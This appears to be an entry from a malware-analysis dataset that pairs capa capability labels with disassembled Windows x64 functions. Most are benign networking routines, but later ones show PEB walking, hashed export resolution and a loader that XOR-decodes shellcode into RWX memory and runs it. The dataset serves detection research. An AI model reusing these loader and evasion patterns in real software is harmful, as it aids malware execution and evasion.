joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14004ec00
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
mov r14, rcx
mov ebx, 1
mov edx, ebx
xor ecx, ecx
xor ebp, ebp
call qword [str.0_a_]
mov rdi, rax
test rax, rax
je 0x14004ec7d
nop word [rax + rax]
mov r8d, ebx
mov rdx, rdi
mov rcx, r14
mov rbp, rdi
mov esi, ebx
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov ebx, eax
test eax, eax
je 0x14004eca8
cmp ebx, esi
je 0x14004eca8
cmp ebx, 0x8000
ja 0x14004eca8
cmp ebx, esi
jb 0x14004eca3
mov edx, ebx
mov rcx, rdi
call qword [str.0_a_]
mov rdi, rax
test rax, rax
jne 0x14004ec40
mov rcx, rbp
call qword [fcn.140073018]
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov rax, rdi
jmp 0x14004ec88
mov rcx, rdi
jmp 0x14004ec80

Function at 0x140055080
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0xc0
mov rax, qword [0x14009a080]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov rbp, qword [rcx + 0x4c8]
lea r8, [rsp + 0x20]
mov rsi, qword [rcx]
lea rdx, [rsp + 0x30]
mov rdi, rcx
mov dword [rsp + 0x20], 0x80
mov rcx, rbp
mov rbx, 0xffffffffffffffff
call qword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jne 0x1400550fa
lea r8, [rsp + 0x20]
mov dword [rsp + 0x20], 0x80
lea rdx, [rsp + 0x30]
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_accept]
mov rbx, rax
mov rdx, rbp
mov rcx, rdi
call fcn.14003a020
mov rcx, rsi
cmp rbx, 0xffffffffffffffff
jne 0x14005511f
lea rdx, str.Error_accept__ing_server_connect
call fcn.1400393c0
lea eax, [rbx + 0x1f]
jmp 0x140055198
lea rdx, str.Connection_accepted_from_server_n
call fcn.140039540
mov edx, 1
mov byte [rdi + 0x660], 0
mov rcx, rbx
mov qword [rdi + 0x4c8], rbx
call fcn.140047950
mov byte [rdi + 0xb2c], 1
cmp qword [rsi + 0x728], 0
je 0x140055196
mov dl, 1
mov rcx, rsi
call fcn.140029da0
mov rcx, qword [rsi + 0x730]
mov r8d, 1
mov rdx, rbx
call qword [rsi + 0x728]
xor edx, edx
mov rcx, rsi
mov ebx, eax
call fcn.140029da0
test ebx, ebx
je 0x140055196
mov rcx, rdi
call fcn.1400556b0
mov eax, Ordinal_45
jmp 0x140055198
xor eax, eax
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.140071f20
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x140056190
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x20
mov rax, qword [rcx]
mov rbx, rcx
add rcx, 0xa00
cmp byte [rax + 0xf09], 0
jne 0x1400561b5
cmp dword [rax + 0x9f8], 0
je 0x1400561e1
mov r8, qword [rcx + 0x88]
test r8, r8
je 0x1400561e1
lea rdx, str.MDTM__s
call fcn.14006d1e0
test eax, eax
jne 0x1400561ee
mov dword [rbx + 0xab8], 0x12
add rsp, 0x20
pop rbx
ret
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.140057020
add rsp, 0x20
pop rbx
ret
Function at 0x1400569a0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x1e0]
cmp dword [rax + 0x10], 0
je 0x1400569d8
mov r8d, reloc.WS2_32.dll_listen
mov dword [rbx + 0xab8], 0xd
mov dl, 1
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.140056af0
cmp byte [rcx + 0xf0e], 0
je 0x1400569f0
xor edx, edx
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.1400574e0
cmp byte [rcx + 0xf11], 0
je 0x140056a91
mov r8, qword [rbx + 0xa88]
test r8, r8
jne 0x140056a4b
mov r8, qword [rcx + 0xc08]
test r8, r8
jne 0x140056a2e
cmp byte [rcx + 0xf0d], 0
lea rax, str.NLST
lea r8, str.LIST
cmovne r8, rax
lea rcx, [rbx + 0xa00]
lea rdx, str.PRET__s
call fcn.14006d1e0
test eax, eax
je 0x140056a81
add rsp, 0x20
pop rbx
ret
cmp byte [rcx + 0xf1d], 0
lea rcx, [rbx + 0xa00]
je 0x140056a71
lea rdx, str.PRET_STOR__s
call fcn.14006d1e0
test eax, eax
je 0x140056a81
add rsp, 0x20
pop rbx
ret
lea rdx, str.PRET_RETR__s
call fcn.14006d1e0
test eax, eax
jne 0x140056a9e
mov dword [rbx + 0xab8], 0x1d
add rsp, 0x20
pop rbx
ret
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.140057450
add rsp, 0x20
pop rbx
ret

Function at 0x140056de0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x20
mov rax, qword [rcx]
mov rbx, rcx
mov rdx, qword [rax + 0x1e0]
cmp dword [rdx + 0x10], 0
je 0x140056e2d
cmp qword [rcx + 0xa88], 0
je 0x140056e2d
add rcx, 0xa00
lea rdx, str.REST__d
xor r8d, r8d
call fcn.14006d1e0
test eax, eax
jne 0x140056e37
mov dword [rbx + 0xab8], 0x1a
add rsp, 0x20
pop rbx
ret
add rsp, 0x20
pop rbx
jmp fcn.1400569a0
add rsp, 0x20
pop rbx
ret

Function at 0x140056fc0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
add rcx, 0xa00
mov rax, qword [rbx]
mov rdx, qword [rax + 0x1e0]
cmp dword [rdx + 0x10], 1
jne 0x14005700c
mov r8, qword [rcx + 0x88]
test r8, r8
je 0x14005700c
lea rdx, str.SIZE__s
call fcn.14006d1e0
test eax, eax
jne 0x140057019
mov dword [rbx + 0xab8], 0x17
add rsp, 0x20
pop rbx
ret
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.140056de0
add rsp, 0x20
pop rbx
ret

Function at 0x140057020
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov r9, qword [rcx]
cmp byte [r9 + 0xf1c], 0
je 0x140057078
cmp qword [rcx + 0xa88], 0
je 0x140057078
cmp byte [r9 + 0xf0b], 0
mov eax, 0x41
mov edx, 0x49
cmovne edx, eax
movsx eax, byte [rcx + 0xaa8]
cmp eax, edx
je 0x140057078
mov rax, qword [r9 + 0x1e0]
mov r8d, reloc.WS2_32.dll_send
mov dword [rax + 0x10], 1
movzx edx, byte [r9 + 0xf0b]
jmp fcn.1400558c0
jmp fcn.140056fc0
Function at 0x140057080
Capabilities:
Check http status code

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x30
xor ebx, ebx
lea eax, [rdx - 0xc8]
mov rdi, rcx
mov rcx, qword [rcx]
mov esi, r8d
cmp eax, 0x64
jb 0x1400570b5
lea rdx, str.Couldnt_set_desired_mode
call fcn.1400393c0
lea eax, [rbx + 0x11]
add rsp, 0x30
pop rdi
pop rsi
pop rbx
ret
cmp edx, 0xc8
je 0x1400570cc
mov r8d, edx
lea rdx, str.Got_a__03d_response_code_instead_of_the_assumed_200_n
call fcn.140039540
mov qword [rsp + 0x58], rbp
mov qword [rsp + 0x60], r14
cmp esi, 0x13
jne 0x1400570e8
mov rcx, rdi
call fcn.140056fc0
jmp 0x14005721f
cmp esi, 0x14
jne 0x140057201
mov rsi, qword [rdi]
mov rbp, rbx
cmp dword [rsi + 0xba0], 2
jne 0x140057169
mov rax, qword [rsi + 0x1e0]
mov rdx, qword [rax]
test rdx, rdx
je 0x140057169
mov byte [rsp + 0x28], 1
lea r9, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x20], rbx
mov rcx, rsi
mov qword [rsp + 0x50], rbx
call fcn.140022b80
test eax, eax
jne 0x14005721f
mov rcx, qword [rsp + 0x50]
lea edx, [rax + 0x2f]
call sub.VCRUNTIME140.dll_strrchr
test rax, rax
je 0x14005715e
mov rbp, qword [rsp + 0x50]
mov ecx, 1
sub rax, rbp
cmovne rcx, rax
mov byte [rcx + rbp], bl
jmp 0x140057169
mov rcx, qword [rsp + 0x50]
call qword [fcn.140073018]
mov rdx, qword [rsi + 0xc08]
test rdx, rdx
jne 0x14005718d
cmp byte [rsi + 0xf0d], bl
lea rax, str.NLST
lea rdx, str.LIST
cmovne rdx, rax
lea r8, [0x140075e28]
test rbp, rbp
mov r9, r8
lea rax, [0x140076280]
cmovne r9, rbp
lea rcx, [0x14007a408]
cmovne r8, rax
call fcn.140027c70
mov rcx, rbp
mov r14, rax
call qword [fcn.140073018]
test r14, r14
jne 0x1400571cc
lea ebx, [r14 + 0x1b]
jmp 0x140057221
lea rcx, [rdi + 0xa00]
mov r8, r14
lea rdx, [0x14007ec10]
call fcn.14006d1e0
mov rcx, r14
mov esi, eax
call qword [fcn.140073018]
test esi, esi
je 0x1400571f5
mov ebx, esi
jmp 0x140057221
mov dword [rdi + 0xab8], 0x1f
jmp 0x140057221
cmp esi, 0x15
jne 0x14005720c
lea r8d, [rsi - 8]
jmp 0x140057215
cmp esi, 0x16
jne 0x140057221
lea r8d, [rsi - 8]
mov dl, 1
mov rcx, rdi
call fcn.140056af0
mov ebx, eax
mov r14, qword [rsp + 0x60]
mov eax, ebx
mov rbp, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
pop rsi
pop rbx
ret
Function at 0x14005cb10
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x38
cmp byte [rcx + 0xf1e], 0
movsxd r10, r9d
je 0x14005cc34
cmp r8d, 0xff
jne 0x14005cb71
lea eax, [r10 - 0xec]
cmp eax, 0x13
ja 0x14005cb5b
lea r8, [0x140000000]
mov r9, qword [r8 + r10*8 + 0x80790]
mov r8, rdx
lea rdx, str._s_IAC__s_n
add rsp, 0x38
jmp fcn.140039540
mov r8, rdx
mov r9d, r10d
lea rdx, str._s_IAC__d_n
add rsp, 0x38
jmp fcn.140039540
cmp r8d, 0xfb
jne 0x14005cb83
lea r9, str.WILL
jmp 0x14005cbc1
cmp r8d, 0xfc
jne 0x14005cb95
lea r9, str.WONT
jmp 0x14005cbc1
cmp r8d, 0xfd
jne 0x14005cba7
lea r9, [0x1400811b4]
jmp 0x14005cbc1
xor r9d, r9d
lea rax, str.DONT
cmp r8d, 0xfe
cmove r9, rax
test r9, r9
je 0x14005cc1d
cmp r10d, 0x27
jg 0x14005cbf4
lea r8, [0x140000000]
mov r8, qword [r8 + r10*8 + 0x80db0]
test r8, r8
jne 0x14005cc04
mov r8, rdx
mov dword [rsp + 0x20], r10d
lea rdx, str._s__s__d_n
call fcn.140039540
add rsp, 0x38
ret
cmp r10d, 0xff
jne 0x14005cbdb
lea r8, str.EXOPL
mov qword [rsp + 0x20], r8
mov r8, rdx
lea rdx, str._s__s__s_n
call fcn.140039540
add rsp, 0x38
ret
mov r9d, r8d
mov dword [rsp + 0x20], r10d
mov r8, rdx
lea rdx, str._s__d__d_n
call fcn.140039540
add rsp, 0x38
ret

Function at 0x14005cf80
Capabilities:
Send data
Send data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x20
mov rbp, qword [rcx]
mov edi, r8d
mov esi, edx
mov byte [rax + 0x10], 0xff
xor r9d, r9d
mov byte [rax + 0x11], sil
mov rbx, rcx
mov byte [rax + 0x12], dil
mov rcx, qword [rcx + 0x4c0]
lea rdx, [rax + 0x10]
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x14005cfdf
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.1400393c0
mov rcx, qword [rbx]
lea rdx, str.SENT
mov r9d, edi
mov r8d, esi
call fcn.14005cb10
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x14005d190
Capabilities:
Send data
Send data on socket

Disassembly:
cmp edx, 0x1f
jne 0x14005d338
push rbp
push rdi
push r14
sub rsp, 0x20
mov rbp, qword [rcx]
mov r14, rcx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], r15
mov rdi, qword [rbp + 0x1e0]
lea rsi, [rdi + 0x1cb8]
lea rbx, [rdi + 0x1eb8]
mov qword [rbx], rsi
cmp rsi, rbx
jae 0x14005d1f5
lea rax, [rsi + 1]
mov byte [rsi], 0xff
mov qword [rbx], rax
cmp rax, rbx
jae 0x14005d1f5
mov byte [rax], 0xfa
inc qword [rbx]
mov rax, qword [rbx]
cmp rax, rbx
jae 0x14005d1f5
mov byte [rax], dl
inc qword [rbx]
movzx ecx, word [rdi + 0x1ca8]
call qword [sym.imp.WS2_32.dll_htons]
movzx ecx, word [rdi + 0x1caa]
movzx r15d, ax
mov word [rsp + 0x48], ax
call qword [sym.imp.WS2_32.dll_htons]
mov r9, qword [rbx]
movzx ecx, ax
cmp r9, rbx
jae 0x14005d22c
mov byte [r9], r15b
inc qword [rbx]
mov r9, qword [rbx]
mov r15, qword [rsp + 0x58]
cmp r9, rbx
jae 0x14005d282
movzx eax, byte [rsp + 0x49]
mov byte [r9], al
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x14005d282
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x14005d282
shr cx, 8
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x14005d282
mov byte [r9], 0xff
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x14005d282
mov byte [r9], 0xf0
mov r9, qword [rbx]
inc r9
mov qword [rdi + 0x1ec0], r9
lea r8, [rdi + 0x1cba]
sub r9, rsi
mov qword [rbx], rsi
sub r9, 2
mov edx, 0x3e
mov rcx, rbp
call fcn.14005cc40
mov rcx, qword [r14 + 0x4c0]
xor r9d, r9d
mov rdx, rsi
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x40]
test eax, eax
jns 0x14005d2e4
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.1400393c0
lea rdx, [rdi + 0x1cbb]
mov r8d, 4
mov rcx, r14
call fcn.14005d010
mov rcx, qword [r14 + 0x4c0]
lea rdx, [rdi + 0x1cbf]
xor r9d, r9d
lea r8d, [r9 + 2]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x14005d330
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.1400393c0
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
Function at 0x14005eaa0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
push rdi
push r14
sub rsp, 0xd0
mov rax, qword [0x14009a080]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov rbx, qword [rcx + 0xa00]
lea rax, [rsp + 0x30]
mov rdi, qword [rcx]
mov r14, rcx
mov dword [rsp + 0x30], 0x80
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov r8d, dword [rbx + 0x15c]
mov rdx, qword [rbx + 0x168]
add r8d, 4
mov rcx, qword [rbx + 0x18]
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_recvfrom]
cmp dword [rbx + 0x150], 0
mov dword [rbx + 0x154], eax
jne 0x14005eb35
movsxd r8, dword [rsp + 0x30]
lea rcx, [rbx + 0xd0]
lea rdx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x30]
mov dword [rbx + 0x150], eax
mov r8d, dword [rbx + 0x154]
mov qword [rsp + 0xf8], rbp
mov qword [rsp + 0x100], rsi
cmp r8d, 4
jge 0x14005eb96
lea rdx, str.Received_too_short_packet
mov rcx, rdi
call fcn.1400393c0
mov dword [rbx + 0xc], 7
xor eax, eax
mov rsi, qword [rsp + 0x100]
mov rbp, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.140071f20
add rsp, 0xd0
pop r14
pop rdi
pop rbx
ret
mov rdx, qword [rbx + 0x168]
movzx eax, byte [rdx]
movzx ecx, byte [rdx + 1]
shl eax, 8
or ecx, eax
mov dword [rbx + 0xc], ecx
sub ecx, 3
je 0x14005ec51
sub ecx, 1
je 0x14005ecc4
sub ecx, 1
je 0x14005ec00
cmp ecx, 1
je 0x14005ebe3
lea r8, str.Internal_error:_Unexpected_packet
mov rcx, rdi
lea rdx, [0x14007ec10]
call fcn.1400393c0
jmp 0x14005ecc4
add r8d, 0xfffffffe
add rdx, 2
mov rcx, rbx
call fcn.14005e7d0
test eax, eax
je 0x14005ecc4
jmp 0x14005eb6a
movzx ecx, byte [rdx + 2]
lea eax, [r8 - 4]
movsxd rbp, eax
lea rsi, [rdx + 4]
movzx eax, byte [rdx + 3]
mov r8, rbp
shl ecx, 8
xor edx, edx
or ecx, eax
mov dword [rbx + 8], ecx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x14005ecc4
sub rax, rsi
cmp rax, rbp
jae 0x14005ecc4
mov r8, rsi
lea rdx, str.TFTP_error:__s_n
mov rcx, rdi
call fcn.140039540
jmp 0x14005ecc4
cmp r8d, 4
jle 0x14005ecc4
movzx eax, byte [rdx + 3]
movzx ecx, byte [rdx + 2]
shl ecx, 8
or ecx, eax
movzx eax, word [rbx + 0x48]
inc eax
movzx eax, ax
cmp eax, ecx
jne 0x14005ecc4
lea eax, [r8 - 4]
mov rcx, r14
lea r8, [rdx + 4]
movsxd r9, eax
mov edx, 1
call fcn.1400392e0
mov esi, eax
test eax, eax
je 0x14005eca3
mov edx, 5
mov rcx, rbx
call fcn.14005f790
mov eax, esi
jmp 0x14005eb6a
mov eax, dword [rbx + 0x154]
mov rcx, rdi
sub eax, 4
cdqe
add qword [rdi + 0xf8], rax
mov rdx, qword [rdi + 0xf8]
call fcn.140047bc0
mov rcx, r14
call fcn.140047ea0
test eax, eax
je 0x14005eb68
mov edx, 5
mov rcx, rbx
call fcn.14005f790
mov eax, Ordinal_45
jmp 0x14005eb6a
Function at 0x140071a60
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
jne 0x140071aa2
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x140071ae9
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x140071b42
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x140071b00
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x140071b83
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x14008439a]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x14008439b]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x140071b50
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret

Function at 0x140071ba0
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x140071bda
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x140071bdf
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x140071c28
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, reloc.WS2_32.dll_accept
cmp byte [rcx + rax], 0
je 0x140071c28
dec r8
sub rdx, 1
jne 0x140071c0e
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x140072d68
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140072db2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140072db2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140072db2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140072db2
cmp dword [rcx + 0x84], 0xe
jbe 0x140072db2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140072db4
xor al, al
add rsp, 0x28
ret
Function at 0x1400010c0
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rax, qword [0x140027dd0]
test rax, rax
jne 0x140001111
mov rax, qword gs:[0x60]
mov rdi, qword [rax + 0x18]
add rdi, 0x10
mov rbx, qword [rdi]
jmp 0x140001103
movzx edx, word [rbx + 0x58]
mov rcx, qword [rbx + 0x60]
call fcn.14000148c
cmp eax, 0x4b1ffe8e
je 0x14000111c
mov rbx, qword [rbx]
cmp rbx, rdi
jne 0x1400010ec
xor eax, eax
mov qword [0x140027dd0], rax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov rax, qword [rbx + 0x30]
jmp 0x14000110a

Function at 0x14000120c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
movsxd rax, dword [rcx + 0x3c]
xor ebp, ebp
mov edi, edx
mov r10, rcx
mov r9d, dword [rax + rcx + 0x88]
mov esi, dword [rax + rcx + 0x8c]
add r9, rcx
mov eax, edx
shr eax, 0x10
test ax, ax
jne 0x140001250
movzx eax, di
sub eax, dword [r9 + 0x10]
jmp 0x1400012bc
mov edx, dword [r9 + 0x20]
mov ebx, ebp
mov ecx, dword [r9 + 0x24]
add rdx, r10
add rcx, r10
cmp dword [r9 + 0x18], ebp
jbe 0x1400012a2
mov r11d, dword [rdx]
add r11, r10
jne 0x140001274
or r8d, 0xffffffff
jmp 0x14000128d
mov r8d, ebp
jmp 0x140001286
rol r8d, 7
movsx eax, al
xor r8d, eax
inc r11
mov al, byte [r11]
test al, al
jne 0x140001279
cmp r8d, edi
je 0x1400012b9
add rdx, 4
add rcx, 2
inc ebx
cmp ebx, dword [r9 + 0x18]
jb 0x140001266
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
movzx eax, word [rcx]
test eax, eax
js 0x1400012a2
mov ecx, dword [r9 + 0x1c]
add rcx, r10
movsxd rdx, eax
mov r8d, dword [rcx + rdx*4]
add r8, r10
cmp r8, r9
jbe 0x1400012ec
mov rdx, r8
sub rdx, r9
cmp rdx, rsi
jae 0x1400012ec
mov rcx, r8
call fcn.140001124
mov r8, rax
mov rax, r8
jmp 0x1400012a4
Function at 0x14000197c
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
mov rdi, qword [rcx + 0x10]
mov rsi, rdx
mov rbx, rcx
test rdi, rdi
je 0x140001a0e
cmp qword [rdi], 0
mov rbx, qword [rcx]
je 0x1400019e8
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x140001a07
lea rdx, str.RegDeleteKeyTransactedA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140001a07
mov rdx, qword [rdi]
xor r9d, r9d
and qword [rsp + 0x28], 0
xor r8d, r8d
mov qword [rsp + 0x20], rdx
mov rcx, rbx
mov rdx, rsi
call rax
jmp 0x1400019f7
cmp dword [rdi + 8], 0
je 0x140001a07
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
mov eax, 1
jmp 0x1400019f7
cmp byte [0x140028262], 0
jne 0x140001a59
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x140001a45
lea rdx, str.RegDeleteKeyExA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r10, rax
mov qword [0x1400292e0], rax
jmp 0x140001a4c
mov r10, qword [0x1400292e0]
mov eax, 1
mov byte [0x140028262], al
jmp 0x140001a60
mov r10, qword [0x1400292e0]
mov rcx, qword [rbx]
mov rdx, rsi
test r10, r10
je 0x1400019f1
mov r8d, dword [rbx + 8]
xor r9d, r9d
call r10
jmp 0x1400019f7
Function at 0x140005a24
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Execute shellcode via indirect call
Spawn thread to rwx shellcode
Terminate thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x30
xor r9d, r9d
mov esi, edx
mov r14, rcx
xor r8d, r8d
xor ecx, ecx
lea edx, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateEventA]
xor edi, edi
mov rbx, rax
test rax, rax
je 0x140005a77
and qword [rsp + 0x28], rdi
lea r8, [0x1400059f4]
and dword [rsp + 0x20], edi
mov r9, rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdi, rax
mov ecx, esi
mov r9d, 0x40
or ecx, 0x1010101
mov r8d, 0x1000
mov dword [rsp + 0x58], ecx
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor edx, edx
mov rbp, rax
test rsi, rsi
je 0x140005ac4
sub r14, rax
mov rcx, rdx
lea r8, [rdx + rbp]
and ecx, 3
inc rdx
mov al, byte [rsp + rcx + 0x58]
xor al, byte [r14 + r8]
mov byte [r8], al
cmp rdx, rsi
jb 0x140005aa7
call rbp
shr rsi, 1
mov r8d, 0x8000
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test rbx, rbx
je 0x140005ae9
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetEvent]
test rdi, rdi
je 0x140005b14
mov edx, 0x64
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x140005b0b
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rbx, rbx
je 0x140005b22
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x60]
add rsp, 0x30
pop r14
pop rdi
pop rsi
ret